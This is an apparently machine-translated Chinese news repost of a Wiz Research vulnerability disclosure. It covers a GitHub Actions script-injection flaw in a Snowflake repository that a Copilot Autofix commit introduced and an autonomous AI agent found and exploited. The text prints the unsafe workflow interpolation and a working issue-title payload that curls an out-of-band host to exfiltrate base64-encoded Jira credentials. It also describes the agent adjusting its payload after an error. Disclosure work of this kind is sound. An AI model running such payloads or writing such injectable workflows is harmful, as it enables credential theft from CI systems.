首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 汽车 游戏 社会热点 开源推荐 医疗健康 归档 标签 关于

AI 生成的 GitHub Copilot“Autofix”允许 Snowflake 的 Jira 受到损害

摘要

As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a ...

the Wiz Snowflake vulnerability GitHub and via issue title Red
2026-08-17 1 阅读 约8分钟阅读 galnagli
分享:
字号:
作为通过 Snowflake 的 HackerOne 漏洞披露计划进行的持续安全研究的一部分,Wiz Research 的“Red Agent”(一种由人工智能驱动的自主安全研究工具)在 Snowflake 的一个公共存储库中发现了一个关键的 GitHub Actions 工作流程漏洞。这一事件突显了软件开发中一个迅速出现的现实:人工智能编码助手如何无意中引入工作流注入漏洞,以及自动化人工智能代理如何在野外快速暴露这些漏洞。在 Wiz 于 2026 年 6 月 23 日负责任地披露后,Snowflake 在同一天修复了该漏洞,轮换了受影响的凭证,并通过详细的审核日志验证了 Wiz 是暴露窗口期间的唯一参与者。 Wiz 确认概念验证测试期间访问的所有数据均已安全删除。执行摘要 Wiz Red Agent 发现了 Snowflakedb/snowflake-connector-net 中的脚本注入漏洞。该问题允许未经身份验证的用户通过打开带有特制标题的 GitHub 问题,在 GitHub Actions 运行程序中执行任意命令。至关重要的是,该漏洞是在 2026 年 6 月 18 日(即发现前五天)通过由 AI 支持的 Copilot Autofix 共同撰写的提交引入的(PR #1218)。 AI 助手删除了存储库现有的经过清理的输入模式,并将其替换为 shell 脚本中的直接字符串扩展。屏幕截图展示了通过泄露的令牌访问 Snowflake 的 Jira 门户。 Exposure Walk-Through Discovery Wiz Red Agent 的 CI/CD 功能扫描了 Snowflake 的 GitHub 组织,并将 Snowflakedb/snowflake-connector-net 中的 jira_issue.yml 工作流标记为容易通过 run: 块中的不受信任输入进行脚本注入。 AI Assistant (Github Copilot) Change - env : - ISSUE_TITLE : ${{ github.event.issue.title }} - run : jq -n --arg title "$ISSUE_TITLE" ... + run : TITLE=$(echo '${{ github.event.issue.title }}' | sed ...) 问题触发的工作流程:打开 - 意味着任何 GitHub 用户都可以通过打开问题来触发它 -并将攻击者控制的问题标题直接插入到 shell 脚本中: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g") sed 转义在 GitHub 的模板扩展之后运行,标题中的单引号打破了 echo '...' 并允许任意命令执行。可注入模式是在几天前,即 2026 年 6 月 18 日引入的,提交 4a1b8ce(PR #1218:“SNOW-2069227:更新 jira 工作流程”) - 由 AI 驱动的 Copilot Autofix 共同创作。引入易受攻击模式的提交删除了存储库现有的安全模式,该模式通过 env: 变量传递问题标题并使用 jq 构建 JSON 有效负载。相反,它使用上面所示的直接 ${{ github.event.issue.title }} 插值。换句话说,人工智能“自动修复”提交创建了注入向量。引入易受攻击模式的代码更改开放“安全门”工作流程有一个 if: 条件,看起来具有保护性: if : (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]') 但是,在 issues 事件中, github.event.pull_request 始终为 null 。因此条件简化为 ( null != 'whitesource-for-github-com[bot]' )。这始终是正确的,每个 GitHub 用户都会通过这道门。开放的“安全门”利用我们精心设计了一个问题标题,在模板扩展后,它会突破回显字符串并通过带外回调泄露 Jira 凭据:至关重要的是,当 Red Agent 的 CICD 功能最初尝试使用标准注释字符 ( # ) 进行泄露时,运行程序返回了 bash 语法错误,因为注释消耗了 TITLE=$(...) 的右括号。红色代理没有停止或失败,而是:自主分析语法执行错误,调整其有效负载以使用; echo ' 正确关闭 shell 块,并成功收到带外回调 ' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo ' 几秒钟内,我们的侦听器收到了来自 GitHub Actions 运行程序 (Azure IP 20.106.182.197 ) 的回调,其中包含 base64 编码的凭据。问题标题中包含负载的 POC PR 注意:我们的第一次尝试使用 # 注释掉该行的其余部分,这导致了意外的 EOF bash 错误,因为它还占用了 TITLE=$(...) 的结束 ) 。修复方法是使用 ; echo ' 正确关闭 shell 语法。显示成功利用的工作流程日志 链接到 qa@snowflake.net 的泄露令牌 泄露的令牌以 qa@snowflake.net 身份验证到 Snowflakecomputing.atlassian.net ,授予跨 Snowflake 的工程、安全合规性和错误赏金跟踪项目的读取访问权限。修复和取证当天修补:Snowflake 修补了工作流程
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱